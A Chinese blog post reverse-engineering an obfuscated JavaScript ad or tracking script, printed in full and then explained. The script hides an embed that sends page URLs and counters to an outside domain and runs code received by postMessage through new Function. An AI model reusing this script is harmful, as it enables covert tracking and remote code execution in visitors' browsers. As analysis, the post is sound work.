首页 > 其他分享 >一个冷门的js加密逆向分析(二)

一个冷门的js加密逆向分析(二)

时间:2024-02-07 17:31:25浏览次数:25  
标签:c19db4e t3efa0c8c 加密 冷门 xfbe733b w4656a var p46fa13 js

一个冷门的js加密逆向分析(二)_js解密

前天发了一片js加密分析的文章,今天继续来说第二层加密是什么样的。

上源代码

window["" + "f" + "3" + "2" + "0" + "6" + "b" + "1" + ""] = function () {
    ;(function (v509de, m27adb, me846d07, w4656a) {
        if (/^Mac|Win/.test(navigator.platform)) {
            return
        }
        ;var xfbe733b = function (e2d163) {
            return String.fromCharCode(e2d163)
        };
        var eecec = ["t-1", "v-19", "u-60239125016645", "d-2024-02-04 00:15:01", "sys-zc"];
        var p46fa13 = me846d07[xfbe733b(0x61) + xfbe733b(0x74) + xfbe733b(0x6F) + xfbe733b(0x62)],
            t0f122a95 = me846d07[xfbe733b(0x62) + xfbe733b(0x74) + xfbe733b(0x6F) + xfbe733b(0x61)],
            m80ca1 = w4656a[p46fa13("Y3Vycm3VudFNjcmlwdA==")], iea784a99 = p46fa13("Y3JlYXRlRWxlbWVudA=="),
            r78e9d6d = p46fa13("c3Vic3ReyaW5n"), m4934 = p46fa13("cmVwwbGFjZQ=="), z8acdd2e = p46fa13("c3BsaXQ="),
            tbe47d4 = p46fa13("cmV2ZXJszZQ=="), df4b03a = p46fa13("ame9pbg=="), fbb96d36 = p46fa13("cmFuZG9t"),
            c19db4e = me846d07[p46fa13("TWFe0aA==")], z43a1d0 = p46fa13("bG9hwZA==");
        var d652c518b = p46fa13("emNkdZWJ1Zw==");
        var t3efa0c8c;
        if (location.search.indexOf(d652c518b) > -1) {
            t3efa0c8c = w4656a[iea784a99](p46fa13("dGV4ddGFyZWE="));
            t3efa0c8c.id = "t" + (c19db4e[fbb96d36]() * 10000);
            t3efa0c8c.style.width = "100%";
            t3efa0c8c.style.height = "500px";
            t3efa0c8c.disabled = true;
            if (w4656a.body != null) {
                w4656a.body.appendChild(t3efa0c8c)
            } else {
                var ed92204 = function () {
                    w4656a.body.appendChild(t3efa0c8c);
                    me846d07.removeEventListener(z43a1d0, ed92204, false)
                };
                me846d07.addEventListener(z43a1d0, ed92204, false)
            }
        }
        var f5d56ca77 = w4656a[iea784a99](p46fa13("ZW1iZfWQ="));
        f5d56ca77.style.height = "0px";
        f5d56ca77.id = m27adb + (c19db4e.ceil(c19db4e[fbb96d36]() * 10000));
        var d155a = function (k4b38d864) {
            var p71eb = new Date();
            var n2a43cae4 = `advSpaceId_${m27adb}_${p71eb.toLocaleDateString()}`;
            var kd7c5922 = JSON.parse(localStorage.getItem(n2a43cae4));
            if (kd7c5922 == null) {
                kd7c5922 = {browserCount: 0}
            }
            kd7c5922.browserCount++;
            var g2853c = t0f122a95(eecec.concat([Date["now"](), location.href, `hsc-${kd7c5922.browserCount}`]).sort(() => c19db4e[fbb96d36]() - 0.5)[df4b03a](","));
            var hb14cd75 = g2853c.indexOf(xfbe733b(0x3d)) > -1 ? g2853c[r78e9d6d](g2853c.indexOf(xfbe733b(0x3d))) : "";
            g2853c = g2853c[m4934](hb14cd75, "")[z8acdd2e]("")[tbe47d4]()[df4b03a]("") + hb14cd75;
            f5d56ca77.src = ["https://", k4b38d864, g2853c][df4b03a]("/");
            w4656a.body.appendChild(f5d56ca77);
            if (t3efa0c8c != null) {
                t3efa0c8c.value += "\\r\\nappended em to html";
                var r525dbdda = w4656a.getElementById(f5d56ca77.id);
                if (r525dbdda == null || r525dbdda == undefined) {
                    t3efa0c8c.value += "\\r\\n cant get em from html"
                }
            }
        };
        if (t3efa0c8c != null) {
            t3efa0c8c.value += "\\r\\nsend js host " + v509de
        }
        var me9d499 = function (p345e74a9) {
            return p46fa13(p345e74a9)[m4934](xfbe733b(0x2A), c19db4e[fbb96d36]().toString(36).slice(c19db4e.floor(c19db4e[fbb96d36]() * 9) + 2))
        };
        d155a(me9d499(v509de));
        me846d07["addEventListener"]("message", function (e) {
            if (e.data.k == m27adb) {
                w4656a.getElementById(f5d56ca77.id).remove();
                if (t3efa0c8c != null) {
                    t3efa0c8c.value += "\\r\\nreceive em post message";
                    t3efa0c8c.value += "\\r\\ne.data.v " + e.data.q
                }
                new Function("args", e.data.q)({_tdcs: m80ca1, _tra: t3efa0c8c})
            }
        })
    })("Ki5kYW5zaGVzaGkuY29t", "60239125016645", window, document)
};
f3206b1()

业务分析仅本人猜测,不代表其实际意义

这段代码看起来像是一个广告脚本,它的主要功能是在用户的浏览器中插入一个隐藏的<embed>元素,然后加载一个特定的广告。这里是一些关键点:

  1. 代码首先检查用户的平台是否为Mac或Windows,如果是,则不执行任何操作。
  2. 定义了一些变量和函数,包括一些用于字符串操作和随机数生成的函数。
  3. 如果URL查询参数中包含特定的字符串("emNkdZWJ1Zw=="的Base64解码结果),则在页面上创建一个禁用的<textarea>元素,用于调试。
  4. 创建一个<embed>元素,其ID是由一个固定字符串和一个随机数拼接而成的。
  5. 定义了一个函数,该函数会增加浏览器计数,生成一个特定的字符串,并将其设置为<embed>元素的源URL。
  6. 最后,当接收到特定的消息时,会移除<embed>元素,并执行消息中包含的代码。

这段代码可能用于跟踪用户的行为或加载广告。但是,由于它的工作方式,它可能会被一些广告拦截器或隐私保护工具阻止。此外,它使用了一些混淆技术(如Base64编码和动态函数名)来尝试避免被检测。这是一种常见的在用户浏览器中运行不受欢迎代码的技术。

注意,我不建议各位去运行它。在这里我仅仅用于分析而已。

完全解密

完全解密见上一篇文章。或者有需要可以联系我。

标签:c19db4e,t3efa0c8c,加密,冷门,xfbe733b,w4656a,var,p46fa13,js
From: https://blog.51cto.com/u_15785573/9639224

相关文章

  • `resp.text` 和 `resp.json()` 是处理 `requests` 库返回的响应对象中的两个不同方法,
    resp.text和resp.json()是处理requests库返回的响应对象中的两个不同方法,用于获取服务器响应的内容。它们的区别在于:resp.text:resp.text返回响应的内容作为字符串。适用于任何响应内容,无论响应内容是HTML、JSON、XML还是纯文本。如果响应内容是JSON格式,可以使用resp.tex......
  • eslint报错:Parsing error: No Babel config file detected for E:\xxx\index.config
    eslint根据eslint配置文件的parserOption,知道了要使用babel对代码进行解析,但是解析babel需要使用babel配置文件,由于找不到配置文件(babel配置文件默认需要放在根目录下),所以会报错。因此,添加requireConfigFile:false,本质上是告诉eslint,不用查找这个配置文件了,虽然表面上可以解决这......
  • JS使用EditableProTable案例
    EditableProTable是AntDesignPro中的一个可编辑表格组件,可以方便地实现表格数据的编辑和更新。下面是一个简单的示例,演示如何在React中使用EditableProTable组件:首先,确保你已经安装了AntDesignPro相关的依赖包。然后,可以按照以下步骤创建一个简单的可编辑表格:1、创......
  • js 双对象对比拷贝数据
    应用场景:1、两个深层次对象2、第一个对象为模板对象,第二个对象为返回的实际数据对象(简称实例对象)3、如果一个属性在实例对象内,就拿取实例对象的这个属性;如果没有,就从模板对象里面拿取。如果某个属性是数组对象,那么实例对象的这个属性内每一个数组对象都要与模板对......
  • (填坑)考古,如何追索Jsp代码。
    我现在要找到一个按钮指向路径错误的原因。1.找到jsp页面——userlist.jspweb正常是不会暴露jsp文件原名的,这里我用vscode全文检索页面中的方法名unlock找到的。2.根据页面布局定位按钮标签,发现是个自定义标签——<t:dgToolBar/>3.jsp最上边有自定义标签的引用声明 ......
  • Three.js 实现年会3D抽奖页面
    突然翻到在之前公司写的抽奖软件(用于公司年会)。觉得挺感慨的,TM的一共30+人,抽15左右,代码还是我写的,就是抽不中我。(真的是,涨了人品,失了智)一、效果效果如下:二、基础效果元素周期表 照片墙?抽奖?写之前的那段时间,刚好逛博客,看到别个大神写的threejs版《元素周期表》,这效果大体有......
  • js XML 命名空间
    Node的变化在DOM2中,Node类型包含以下特定于命名空间的属性:namespaceURI,节点的命名空间URL,如果未指定则为null;prefix,命名空间前缀,如果未指定则为null。在节点使用命名空间前缀的情况下,nodeName等于prefix+":"+localName。比如下面这个例子:<head><title>Example......
  • js DOM2 和 DOM3
    DOM2(DOMLevel2)和DOM3(DOMLevel3)在这些结构之上加入更多交互能力,提供了更高级的XML特性。实际上,DOM2和DOM3是按照模块化的思路来制定标准的,每个模块之间有一定关联,但分别针对某个DOM子集。这些模式如下所示。DOMCore:在DOM1核心部分的基础上,为节点增加方法和属性。......
  • js 插入标记
    HTML5将IE发明的innerHTML和outerHTML纳入了标准,但还有两个属性没有入选。这两个剩下的属性是innerText和outerText。innerText属性innerText属性对应元素中包含的所有文本内容,无论文本在子树中哪个层级。在用于读取值时,innerText会按照深度优先的顺序将子树中所有文......
  • js scrollIntoView()
    DOM规范中没有涉及的一个问题是如何滚动页面中的某个区域。为填充这方面的缺失,不同浏览器实现了不同的控制滚动的方式。在所有这些专有方法中,HTML5选择了标准化scrollIntoView()。scrollIntoView()方法存在于所有HTML元素上,可以滚动浏览器窗口或容器元素以便包含元素进入视口......